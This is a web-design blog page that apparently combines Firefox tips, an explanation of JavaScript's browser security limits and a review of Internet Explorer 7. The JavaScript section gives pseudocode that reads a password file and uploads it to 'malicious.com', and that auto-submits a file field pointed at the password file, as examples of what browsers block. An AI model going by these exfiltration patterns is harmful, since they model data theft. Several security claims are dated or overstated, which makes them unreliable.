Tryangled Solutions web designing tips tricks

Firefox is a browser that belongs in the Mozilla family. It has been gaining increasing popularity and has a large user base due to its ease of use and speed. Below I have outlined some of the features that Firefox has that Internet Explorer does not.

Feature List and explanations:

* Tabbed Browsing - This feature allows you to open up new web sites or web pages in the same browser window that you are currently viewing.

* Pop-up Blocker - Firefox comes with a built in pop-up blocker. If you enable this feature then by default Firefox will block all pop-ups that may occur. If you would like to allow popups from certain sites, then you can configure the pop-up blocker to allow them from that site.
* Extensions- These are pieces of software that you can install that extend the functionality of the program. Extension range from a Google toolbar to a myriad of card games. They are similar in function to ActiveX controls for Internet Explorer.
* Profile Manager - This will allow you to create different profiles, each with their own bookmarks, cookies, and settings, for users who use Firefox from the same account.

Security

While no browser is 100% secure Mozilla Firefox has much better security than Internet Explorer.  Firefox does not support Activex which is a tool that can be used with good and bad intentions.  Activex allows web sites to have more access to Windows.  As a result of this, cyber criminals have taken advantage of it.  This means that viruses and spyware (and sometimes other types of malware as well such as adaware) can take advantage of it, resulting in these programs ending up on the visitors computer (if using Windows at the time).  Spyware is any piece of software that silently gathers information about a user while he/she navigates the Internet and transmits the information to an individual or company that uses it for marketing or other purposes.

Spyware and other types of Malware usually do not target Firefox, but there is some out there that will also get Firefox, but it is rather unlikely that a Firefox user would get it.  Unless for example they install loads of extensions from all kinds of web sites.

If a Firefox user has the cache turned on a Trojan can end up in it.  A cache is an amount of space in which Firefox uses to temporarily store images and other files from sites so you can load the page up quicker if you chose to go back and view the page again. You can turn it off by going to “Tools” then “options” click on the “privacy” tag and then the “cache” tag set the amount of MB’s it’s allowed to use to “0″.  However a Trojan just sit their in the catch and will not do anything unless the user actually opens it. If you have a virus scaner (like AVG) it will be able to remove trojans and worms from your computer.

Spyware, viruses, and other things like this are usually only a Windows issue.  In fact viruses aren’t really an issue with other operating systems such as Linux.  Linux is known to be very secure and virus free.  However some viruses were made for Linux, but they were never distributed out of the lab.  Ubuntu is a popular and rather good Linux distribution for beginners.  It is worth checking out and especially if you have had enough of Windows and it’s many problems such as it’s very bad security.  Linux is very stable and does not just crash like Windows does for some users. (Personally my PC never crashes, but I’ve had some problems before.)

With popular free open source programs such as Firefox, or Linux distributions.  Any security issues  are fixed very quickly.  Unlike for example a software company like Microsoft were it can take years before a security issue has been fixed.  That is of course if it ever gets fixed!

Speed

Simply put, Firefox uses less resources, loads pages faster, and can be tweaked to make best use of your computer. There are guides and tools that can help you get the most out of it. Also note that the Gecko Rendering Engine engine is always being updated as new versions of Firefox come out.

Customizations

Because of the Extension/Theme compatibility that is programmed into Firefox you can just about make it able to do or http://www.seo.tryangled.com/aboutus.php, provided someone has made an Extension/Theme to match your tastes.
You can get very nice Mozilla Firefox and Mozilla Thunderbird themes from http://www.spuler.us

Compatibility

It is, because of Internet Explorer’s huge market share and lack of web standards support that it holds the whole web back from becoming a lot better.  Yes lack of web standards support as in lack of being able to support web page coding that standards compliant browsers such as Firefox, and others that also use the Gecko Rendering Engine Rendering Engine to display web pages with can support.  There are also some other standards compliant browsers that do not use the Gecko Rendering Engine Rendering Engine to display web pages with.

Searching for web pages on a particular topic is as easy as typing a few words into Firefox’s Search Bar.

For example, if you want to find information about the world cup:

1. Click in the Search Bar.
2. Type the phrase world cup. Your typing replaces any text currently in the search bar.
3. Hit EnterReturn to search.

Search results for “world cup” appear in the Firefox window.

Selecting search engine

You can switch the search engine by clicking on its icon and selecting the search engine of your choice. Some search engines, like Google, search the whole web; others, like Amazon.com, only search specific sites.

Manage search engines

Click on the icon of the search engine and select Manage Search Engines... to add, reorder, remove, or restore the default search engines. Select a search engine and click the appropriate button to to move it around within the list or remove it. You can install new search engines by clicking the Get more search engines… link.

1) More screen space. Make your icons small. Go to View - Toolbars - Customize and check the “Use small icons” box.

2) Smart keywords. If there’s a search you use a lot (let’s say IMDB.com’s people search), this is an awesome tool that not many people use. Right-click on the search box, select “Add a Keyword for this search”, give the keyword a name and an easy-to-type and easy-to-remember shortcut name (let’s say “actor”) and save it. Now, when you want to do an actor search, go to Firefox’s address bar, type “actor” and the name of the actor and press return. Instant search! You can do this with any search box.

3) Keyboard shortcuts. This is where you become a real Jedi. It just takes a little while to learn these, but once you do, your browsing will be super fast. Here are some of the most common (and my personal favs):

* Spacebar (page down)
* Shift-Spacebar (page up)
* Ctrl+F (find)
* Alt-N (find next)
* Ctrl+D (bookmark page)
* Ctrl+T (new tab)
* Ctrl+K (go to search box)
* Ctrl+L (go to address bar)
* Ctrl+= (increase text size)
* Ctrl+- (decrease text size)
* Ctrl-W (close tab)
* F5 (reload)
* Alt-Home (go to home page)

4) Auto-complete. This is another keyboard shortcut, but it’s not commonly known and very useful. Go to the address bar (Control-L) and type the name of the site without the “www” or the “.com”. Let’s say “google”. Then press Control-Enter, and it will automatically fill in the “www” and the “.com” and take you there - like magic! For .net addresses, press Shift-Enter, and for .org addresses, press Control-Shift-Enter.

5) Tab navigation. Instead of using the mouse to select different tabs that you have open, use the keyboard. Here are the shortcuts:

* Ctrl+Tab (rotate forward among tabs)
* Ctrl+Shft+Tab (rotate to the previous tab)
* Ctrl+1-9 (choose a number to jump to a specific tab)

6) Mouse shortcuts. Sometimes you’re already using your mouse and it’s easier to use a mouse shortcut than to go back to the keyboard. Master these cool ones:

* Middle click on link (opens in new tab)
* Shift-scroll down (previous page)
* Shift-scroll up (next page)
* Ctrl-scroll up (decrease text size)
* Ctrl-scroll down (increase text size)
* Middle click on a tab (closes tab)

Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security.

First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:
The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML page is delivered to the browser, including the scripts. The scripts usually run automatically when the page loads or when the user takes a certain action. In general the user can’t do anything to stop the scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript exists).

So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.

1. JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard

filesystem.read(’/my/password/file’);
filesystem.write(’horridvirus.exe’);

2. JavaScript cannot execute any other programs. This would also be unacceptable

execute(’horridvirus.exe’)

3. JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:

var security_hazard = connection.open(’malicious.com’);
security_hazard.upload(filesystem.read(’/my/password/file’));
security_hazard.upload(filesystem.read(’/ultra_secret/loans.xls’));

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.

So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that’s not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:

1. You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently.
You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.
2. You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the frame busting page for some more information.
3. You cannot set the value of a file upload field (<input type=”file”>).

document.forms[0].upload_field.value = ‘/my/password/file’;
document.forms[0].submit();

4. If you try to close a browser window that has not been opened by JavaScript, the user is asked to confirm this action.
However, this rule isn’t implemented in all browsers and is easy to work around in Explorer.
5. If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action.
6. You should not be able to open a new window smaller than 100×100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window.
Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations.

Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.

Although the names are much alike, JavaScript is primarily a scripting language for use within HTML pages, while Java is a real programming language that does quite different things from JavaScript. In addition Java is much harder to learn. It was developed by Sun for use in pretty much anything that needs some computing power.

JavaScript was developed by Brendan Eich, then working at Netscape, as a client side scripting language (even though there’s no fundamental reason why it can’t be used in a server side environment).

Originally the language was called Live Script, but when it was about to be released Java had become immensely popular (and slightly hypey). At the last possible moment Netscape changed the name of its scripting language to “JavaScript”. This was done purely for marketing reasons. Worse, Eich was ordered to “make it look like Java”. This has given rise to the idea that JavaScript is a “dumbed-down” version of Java. Unfortunately there’s not the slightest shred of truth in this story.

Java and JavaScript both descend from C and C++, but the languages (or rather, their ancestors) have gone in quite different directions. You can see them as distantly related cousins. Both are object oriented (though this is less important in JavaScript than in many other languages) and they share some syntax, but the differences are more important than the similarities.

If you are a C++ or Java programmer you will be surprised by some of JavaScript’s features. Since I don’t have any previous programming experience, the differences are not described on this site. The best you can do is buy David Flanagan, “JavaScript, the Definitive Guide”, 5th edition, O’Reilly, 2006. In this book the differences between C++/Java and JavaScript are clearly explained. I co–edited a few chapters of this book.

IE 7 boasts a new slimmed-down appearance which can take some getting used to, even for the most experienced users. In its initial state, the browser hides many of the buttons and options that a lot of us have become accustomed to seeing in earlier versions. However, once you get comfortable with where everything is located, things are not as bad as they appear and Microsoft’s self-proclaimed streamlined interface seems like just that. Feedback regarding the new design has been lukewarm so far, but over time I feel that IE users can grow to appreciate it.

Like Mozilla’s latest release, IE 7 also offers multiple searches via a large grouping of search engines, encyclopedias, etc. While both browsers allow you to add more search engines from a predefined list, it is much easier to create your own in IE as opposed to Firefox. Microsoft provides a few easy steps to install your own search engines, while Mozilla requires you to create an OpenSearch plug-in to achieve the same result.

As it seems to be the case with every other browser release nowadays, IE 7 claims to “Put safety first”. There is some truth to this, as the folks at Microsoft definitely paid careful attention here especially when it comes to phishing protection. Some exploits were discovered early on, including personal data possibly being compromised, making it seem that the hackers were once again a step ahead. In fairness to Microsoft, Firefox 2.0 has also fallen victims to similar attacks during its first few months.

Available for Windows Server 2003, Windows XP, and Windows Vista, Internet Explorer 7 is a vast improvement on earlier versions. In some areas such as tabbed browsing and enhanced RSS feeds, it appears as if IE has finally caught up to the rest of the browser pack.